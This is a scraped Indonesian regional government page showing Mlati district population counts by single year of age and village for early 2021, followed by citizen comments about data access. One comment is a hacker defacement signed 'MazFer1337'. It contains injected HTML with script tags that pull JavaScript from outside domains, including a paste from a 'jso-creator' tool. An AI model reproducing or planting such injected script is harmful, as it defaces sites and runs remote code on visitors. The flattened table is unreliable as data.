Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN MLATI, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaSINDUADISENDANGADITLOGOADITIRTOADISUMBERADITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun341332 673191198 389154128 282118115 233164166 330968 939 1.907
2 tahun217220 437136130 2667783 16010171 172112106 218643 610 1.253
3 tahun258241 499129131 26011290 2028385 16896110 206678 657 1.335
4 tahun241214 455136104 24010881 1898251 13393118 211660 568 1.228
5 tahun256195 451149131 280101100 2016581 146114116 230685 623 1.308
6 tahun220225 445133130 2638888 1768974 163132114 246662 631 1.293
7 tahun266243 509140138 2789392 1858570 15512797 224711 640 1.351
8 tahun290231 521152134 28683101 1848990 179116106 222730 662 1.392
9 tahun241288 529144119 263107113 2207897 175136134 270706 751 1.457
10 tahun278259 537149149 298117111 2289778 175143106 249784 703 1.487
11 tahun262271 533153121 2748489 1739392 185130120 250722 693 1.415
12 tahun300269 569150164 31410999 2089482 176137124 261790 738 1.528
13 tahun279240 519142127 269105102 2076092 152125136 261711 697 1.408
14 tahun240253 493146133 27993105 1989472 166137134 271710 697 1.407
15 tahun246235 481142122 2649487 1819072 162133111 244705 627 1.332
16 tahun248194 442132122 25410289 1918289 171123138 261687 632 1.319
17 tahun253243 496112117 2299279 1717574 149104114 218636 627 1.263
18 tahun238233 471147125 27298100 1988883 171119106 225690 647 1.337
19 tahun264257 521115154 26999100 19910079 179117113 230695 703 1.398
20 tahun241244 485145141 28693105 1987892 170147137 284704 719 1.423
21 tahun249249 498146120 26610484 1888282 164141131 272722 666 1.388
22 tahun240210 450113137 2508886 1746855 12311086 196619 574 1.193
23 tahun266229 495143128 2719880 1788680 16699114 213692 631 1.323
24 tahun305239 544108122 2309592 1877963 142126112 238713 628 1.341
25 tahun285233 518121127 248103104 2077377 150105114 219687 655 1.342
26 tahun273285 558126125 251102100 2028480 164111115 226696 705 1.401
27 tahun253226 479133139 2728981 1707180 151117116 233663 642 1.305
28 tahun266282 548131134 26510990 1996172 13310991 200676 669 1.345
29 tahun300251 551112145 2578296 1788487 1719492 186672 671 1.343
30 tahun263254 517132134 2669190 1818071 151109115 224675 664 1.339
31 tahun267266 533125138 2639384 1775861 11976119 195619 668 1.287
32 tahun221250 471132122 254103111 2146574 13910482 186625 639 1.264
33 tahun263246 509104132 2368589 1746768 135110107 217629 642 1.271
34 tahun254253 507125137 2629876 1749073 16310398 201670 637 1.307
35 tahun263237 500122152 2749982 1816374 13791118 209638 663 1.301
36 tahun269270 539122136 2588896 1849487 181135111 246708 700 1.408
37 tahun262271 533119157 27687116 2037977 156125120 245672 741 1.413
38 tahun300289 589152139 291113148 2619293 185116144 260773 813 1.586
39 tahun277249 526151159 310129113 24210586 191134129 263796 736 1.532
40 tahun283298 581160157 31711390 20310093 193139124 263795 762 1.557
41 tahun321266 587158166 324104100 20411798 21513399 232833 729 1.562
42 tahun282291 573140138 2788896 1849294 186121148 269723 767 1.490
43 tahun250304 554126161 28711394 2078791 178109137 246685 787 1.472
44 tahun277275 552144138 28211096 20690101 191133144 277754 754 1.508
45 tahun259293 552136141 27711099 20993110 203139128 267737 771 1.508
46 tahun282250 532138137 27599100 1998986 175137130 267745 703 1.448
47 tahun264230 494124138 2628087 1678081 161115115 230663 651 1.314
48 tahun243261 504109114 22396113 2098085 165132127 259660 700 1.360
49 tahun250265 515127127 2549298 1907873 151130117 247677 680 1.357
50 tahun254250 504150128 2788687 1738273 155109127 236681 665 1.346
51 tahun262276 538145124 26989102 1918799 186137139 276720 740 1.460
52 tahun224252 476108149 257105103 2088178 159135129 264653 711 1.364
53 tahun206277 483124136 260107102 2097575 150135106 241647 696 1.343
54 tahun218222 44097119 2169694 1906276 13810199 200574 610 1.184
55 tahun222226 448101122 22379101 1807780 15795110 205574 639 1.213
56 tahun172257 42995127 2226778 1456764 13191102 193492 628 1.120
57 tahun203216 41998131 2296690 1565768 1258097 177504 602 1.106
58 tahun189218 407105118 2235880 1386174 1359996 195512 586 1.098
59 tahun166237 4039895 1936986 1555058 1089063 153473 539 1.012
60 tahun201197 398112106 2188179 1605268 1208793 180533 543 1.076
61 tahun173204 377113120 2339386 1796152 1138890 178528 552 1.080
62 tahun168186 3548593 1786882 1505253 1058491 175457 505 962
63 tahun147198 3457197 1687656 1325454 1086678 144414 483 897
64 tahun151163 3148687 1736076 1364652 988167 148424 445 869
65 tahun128150 27810159 1605840 986054 1146265 127409 368 777
66 tahun124156 2806172 1335753 1104744 916049 109349 374 723
67 tahun122112 2347651 1275852 1103038 684960 109335 313 648
68 tahun123120 2435162 1134039 794038 783841 79292 300 592
69 tahun8597 1825254 1063839 773528 633544 79245 262 507
70 tahun7577 1524845 932432 563030 603651 87213 235 448
71 tahun6991 1604540 852425 492517 422738 65190 211 401
72 tahun79100 1794032 722127 481933 523340 73192 232 424
73 tahun4778 1253132 631419 331427 412535 60131 191 322
74 tahun4762 1091619 351533 481927 463329 62130 170 300
75 tahun5351 1042129 502433 572724 512631 57151 168 319
76 tahun4854 1022125 461621 371314 271728 45115 142 257
77 tahun4559 1042135 561520 351122 332219 41114 155 269
78 tahun5144 951631 472527 521421 351926 45125 149 274
79 tahun4042 821914 332425 491219 312226 48117 126 243
80 ke atas191267 45884159 24396128 22485129 214107151 258563 834 1.397
Jumlah17.24917.34834.5978.9139.20118.1146.6196.64813.2675.5735.58011.1537.9978.00916.006 46.351 46.786 93.137
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih